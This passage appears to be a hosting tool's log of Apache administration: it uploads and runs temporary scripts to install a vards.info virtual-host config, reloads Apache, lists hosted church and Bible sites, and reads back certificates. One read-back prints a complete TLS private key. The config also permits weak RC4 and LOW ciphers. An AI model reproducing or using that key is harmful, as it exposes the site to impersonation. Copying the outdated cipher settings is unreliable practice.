	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-11-30 06:01:17: 

chmod 755 /tmp/pkp449828; /tmp/pkp449828; rm /tmp/pkp449828

2025-11-30 06:01:17: 


dir=/etc/ssl/certs


2025-11-30 06:01:17: 

PUT: /tmp/pkp737044

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/vards_www_info.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-11-30 06:01:17: 

chmod 755 /tmp/pkp737044; /tmp/pkp737044; rm /tmp/pkp737044

2025-11-30 06:01:17: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/vards_www_info.conf 38

<VirtualHost *:80>
    ServerName	vards.info
    ServerAlias	www.vards.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/vards_www
    <Directory /var/www/vards_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/vards/www_access.log combined
    ErrorLog	/var/log/apache2/vards/www_error.log
    SetEnv pkp_uid	57
    SetEnv pkp_owner	vards
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	vards.info
    ServerAlias	www.vards.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/5c147bca0a238ba09c5472db1d5debd9.crt
    DocumentRoot	/var/www/vards_www
    <Directory /var/www/vards_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/vards/www_secure_access.log combined
    ErrorLog	/var/log/apache2/vards/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-11-30 06:01:17: 

PUT: /tmp/pkp107355

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=vards_www_info.conf
TARGET=/etc/apache2/sites-enabled/vards_www_info.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	vards.info
    ServerAlias	www.vards.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/vards_www
    <Directory /var/www/vards_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/vards/www_access.log combined
    ErrorLog	/var/log/apache2/vards/www_error.log
    SetEnv pkp_uid	57
    SetEnv pkp_owner	vards
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	vards.info
    ServerAlias	www.vards.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/5c147bca0a238ba09c5472db1d5debd9.crt
    DocumentRoot	/var/www/vards_www
    <Directory /var/www/vards_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/vards/www_secure_access.log combined
    ErrorLog	/var/log/apache2/vards/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/vards_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/vards_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/vards_www_info.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/vards_www_info.conf= 1'
fi


2025-11-30 06:01:17: 

chmod 755 /tmp/pkp107355; /tmp/pkp107355; rm /tmp/pkp107355

2025-11-30 06:01:17: 




2025-11-30 06:01:17: 

PUT: /tmp/pkp634857

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-11-30 06:01:17: 

chmod 755 /tmp/pkp634857; /tmp/pkp634857; rm /tmp/pkp634857

2025-11-30 06:01:17: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-11-30 06:01:17: Establishing a connection
2025-11-30 06:01:17: 

PUT: /tmp/pkp866852

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-11-30 06:01:17: 

chmod 755 /tmp/pkp866852; /tmp/pkp866852; rm /tmp/pkp866852

2025-11-30 06:01:17: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
                 alias www.carelinksoutreach.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
                 alias www.carelinksoutreach.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-11-30 06:01:17: 

PUT: /tmp/pkp970958

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/vards_www_info.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-11-30 06:01:17: 

chmod 755 /tmp/pkp970958; /tmp/pkp970958; rm /tmp/pkp970958

2025-11-30 06:01:17: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/vards_www_info.conf	1329

<VirtualHost *:80>
    ServerName	vards.info
    ServerAlias	www.vards.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/vards_www
    <Directory /var/www/vards_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/vards/www_access.log combined
    ErrorLog	/var/log/apache2/vards/www_error.log
    SetEnv pkp_uid	57
    SetEnv pkp_owner	vards
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	vards.info
    ServerAlias	www.vards.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/5c147bca0a238ba09c5472db1d5debd9.crt
    DocumentRoot	/var/www/vards_www
    <Directory /var/www/vards_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/vards/www_secure_access.log combined
    ErrorLog	/var/log/apache2/vards/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-11-30 06:01:17: 

PUT: /tmp/pkp849059

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/5c147bca0a238ba09c5472db1d5debd9.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-11-30 06:01:17: 

chmod 755 /tmp/pkp849059; /tmp/pkp849059; rm /tmp/pkp849059

2025-11-30 06:01:17: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/5c147bca0a238ba09c5472db1d5debd9.crt	5360
fb:db:17:e3:76:42:24:30:d1:56:41:69:34:8b:38:c6

-----BEGIN CERTIFICATE-----
MIIFATCCA+mgAwIBAgISBblj18G3iMJ2/np88II08lxXMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTMwMDUwMjQ2WhcNMjYwMjI4MDUwMjQ1WjAVMRMwEQYDVQQD
Ewp2YXJkcy5pbmZvMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAr6O+
EtEaDJ5TB7mj0/g8VGsCCbP1yQm5R6ZTuxFvgmZdvVZniI2cO82wp2iakpljtmc+
pDcXnrC7JXaXaeiZY+J56YfhPiqMqJ1+VTGUaJfPnDGo0tmziHmi/pr/DyAl0v56
CdtQeVDUWNkGTXMtZ8hL9vvoWvT2VEdvmQLnQ1fo2OJksas3wPycirplmnhvl6I6
QGL349WAxALCJJB5bKYwBDG5nQu4+H+LLm5ohDSpV1K7h2pzJPO2SFhV6a4+8Ldo
1Oouck92f/QvBTFor1JZh0U6p54NW31wg0vk6mhn54G1QIjq5JolDO7U8Z0T1g9Y
sseNZGSZ3vStMMT9vwIDAQABo4ICKzCCAicwDgYDVR0PAQH/BAQDAgWgMB0GA1Ud
JQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0GA1UdDgQW
BBSOp0sIFJcZSzU4GB0GwUXXXnQ8jDAfBgNVHSMEGDAWgBTnq58PLDOgU9NeT3jI
soQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9yMTMu
aS5sZW5jci5vcmcvMCUGA1UdEQQeMByCCnZhcmRzLmluZm+CDnd3dy52YXJkcy5p
bmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6
Ly9yMTMuYy5sZW5jci5vcmcvODguY3JsMIIBBQYKKwYBBAHWeQIEAgSB9gSB8wDx
AHcAGYbUxyiqb/66A294Kk0BkarOLXIxD67OXXBBLSVMx9QAAAGa01np3QAABAMA
SDBGAiEA9YljbaQrdJDddT1eCGvw5CM4rmCHpVf94fOo9Q4mQd8CIQDzZsNjhK+1
P4+kCwqF7e7qaGeuaOQQaDMj17ZlsAH2nAB2AA5XlLzzrqk+MxssmQez95Dfm8I9
cTIl3SGpJaxhxU4hAAABmtNZ6dUAAAQDAEcwRQIhAKi8Fd/tr9QXZQ9V4CoS/8SU
dEy1d7r7CoWZQx7JL/3CAiA/aXmi96QK7r/MVNP4Mq2knO6z/HNoa+6gv+C25VQy
mTANBgkqhkiG9w0BAQsFAAOCAQEAYvdo6nxKkzyJdjZ/lmKElCQDHjM1bthtQ/8W
gypo6cfGqbuj2NcPf2UyPLrpmOy0eqlp89c49abrPCQzolElpd4+SHTCaqyQOlnW
rXbW9J/WiuAmTskEpVY3KoSjRlXwZS5dIG7ppOyQvKZojOx2ezhR7lKhQ+IKVaS9
MCp6/F/c1D5pwb1VuBoT7mt5nIWLswBZAzfNY35mNKY5PQuP9U0ezFkCdnBJpQyw
5uRFIe5cIqe4M9r5RGgOJLhc2SFMk4aXQjRdzpU9h5v3gCmJ3t5qWb4d2ykmdnc0
RwvDo4YHIPMBQSybCnuh13cQt6DE5k/YitVNB/ZYkNCWSzlY4g==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCvo74S0RoMnlMH
uaPT+DxUawIJs/XJCblHplO7EW+CZl29VmeIjZw7zbCnaJqSmWO2Zz6kNxeesLsl
dpdp6Jlj4nnph+E+KoyonX5VMZRol8+cMajS2bOIeaL+mv8PICXS/noJ21B5UNRY
2QZNcy1nyEv2++ha9PZUR2+ZAudDV+jY4mSxqzfA/JyKumWaeG+XojpAYvfj1YDE
AsIkkHlspjAEMbmdC7j4f4submiENKlXUruHanMk87ZIWFXprj7wt2jU6i5yT3Z/
9C8FMWivUlmHRTqnng1bfXCDS+TqaGfngbVAiOrkmiUM7tTxnRPWD1iyx41kZJne
9K0wxP2/AgMBAAECggEAAr6MOb8KqSfQJE7CQI2gY7FIVt54+KsuOfBfXoznMSJo
VI0FER0lU8ni+Lqpr6C17iOu1uIFfHVGd09jDkSUIPto7D0zR8VibUAIuUwNBZVZ
qRcdjC3aoEdGRLQnSBU4ghN31K+YkkyxBLJfZtZl3zlB9pn5B3LMZoS3OazR8Dto
wOvzTNAETTdEL++dcBvCyEsFvGsRy+mItaOJ4b1FxwVhkIdBC3UlCrC8ZXV/i38y
4kT9228n9i7ZCb02xFtFu1i/7b1Xs1Pz1hSAfjd93VFaWtTheBR+4tiGcWlLW0DK
ckdreOJ6SteSRZUHbGRAkkyslr8NRLiJWs6J/jMAAQKBgQDnuf1YslLzNVLme11k
+nPNUbX2obLv2tt3fC/b+LLaiXkWwK1Gaatotdaj3X39Pec4ba+0Ysqlpob+SBOx
KqG1yy8f4UUff9Ssmmtm1YihVbpTlEdUMYS9aFDCUkfixsgyT4ISXvvVwn4u7lo4
oNU5ixAfYy6maV2cB8nOrO7HPwKBgQDCCbf9zoP9PMVcQmmosbfpQnjBwnx6SiTh
fMME2hO90GLzyVAOhdQwTTchxHcrBp3Yi6r/CV70KLjp2rSEWooDfel3VFOyx5D/
Y3MjganCJcoa5y7TOJuSHVJbtRTRAJbI04gyzhBJzaSu1MFb9dycp6+AdK/mCZN5
ATGrVJapgQKBgF+ngfIUInOsxlzH/eSKEjVmDnQRiZjDQicPh34JKmNVrjt7K8vO
IOinb0PTUYew/vpnJMmUokxA8qaSwDY4/+nYRsqlJfB7xyG82KrpaG4YwkJwCgWy
LzY0kmm0p2HwZoGGGo5U0SYLFCVxVKLdmUcYpX4fZglhozeea2q6LhLnAoGBAKri
jkSbPMioXZPr9UuZAEQQw3K5CpFUfPiMvN+oA1zWil7y+2te10mWpyg4805ULG1K
S9UB9rsGphtl/jbV2dhLanIqNPAtK3iPqBYsGkoep8hbs3RX1UKwShjz+Bo87458
JOXBbrzgu9kxC/0mIR1h3IE/wq3P3y3hLFIcU/eBAoGBAKVAARpjyHlcjIU9yzQ1
3SvNXCNCCSNOLvOTlVThYMglU+3ZY2qdePROV6KNfSGCtg6HTwg1NGxcmBH4xlYp
jSH7ejeckvUFZ5vGcGOnRQ/AVm5z+79wQ/HRbcVxu87F7fIaqSYzWNmLuA4r9Slp
u1cQeuokS9nzB85ABrM8IW7I
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-11-30 06:01:18: Establishing a connection
2025-11-30 06:01:18: Establishing a connection
2025-11-30 06:01:18: 

PUT: /tmp/pkp812039

#!/bin/bash
if [ -d "/var/www/patientapps_audio/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-11-30 06:01:18: 

chmod 755 /tmp/pkp812039; /tmp/pkp812039; rm /tmp/pkp812039

2025-11-30 06:01:18: 


0


2025-11-30 06:01:44: Establishing a connection
2025-11-30 06:01:44: 

PUT: /tmp/pkp100659

#!/bin/bash
temp_file=$(mktemp)
TARGET=40d152ed4fc15024fe57db1999e289aa.crt

cat > $temp_file <<'endmsg'
e3:b9:74:d3:f1:d1:af:6d:da:cf:e8:f2:bd:2e:4c:67

-----BEGIN CERTIFICATE-----
MIIFBjCCA+6gAwIBAgISBVOOahBijFhziCHo/29MpEJfMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMTMwMDUwMzE0WhcNMjYwMjI4MDUwMzEzWjAgMR4wHAYDVQQD
ExVhdWRpby5wYXRpZW50YXBwcy5uZXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQCovhxIk9v+2pqURAL7bRpMq3fcJ/GJnhHOwHwaJgUri43U8MNbutN3
TPGIzUNH3/5F+NjFQ9qQqZroem5kGuFVpJxghh8lHue3loNYIOA1gGcd1xtZynYb
lEDKZl1hfvASypiBBxMUQzLfzl3MwPw6C6EKIMnwzDUmNd2KSEgz98gYrkQ8Ed1Y
YoFK+A9COOWsEaBzv8UDJ4rj+IT3gNSG9HTiVJg8ma2aihTbyuvylZDfdmC3moKI
K4zJb5MXyLGrmC9JUncRFBT6QNO5BDQ+dH7PoNoEXyUCzmqmfRBOyK8tHkHDkL60
tRIVZd84EJKm7xpSwRf8IJXRndJtvx0BAgMBAAGjggIlMIICITAOBgNVHQ8BAf8E
BAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQC
MAAwHQYDVR0OBBYEFCcPCKYBRD7PcTmzGyLGAF1LY8azMB8GA1UdIwQYMBaAFAC1
KfItjm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYX
aHR0cDovL3IxMi5pLmxlbmNyLm9yZy8wIAYDVR0RBBkwF4IVYXVkaW8ucGF0aWVu
dGFwcHMubmV0MBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+G
HWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvOTYuY3JsMIIBBAYKKwYBBAHWeQIEAgSB
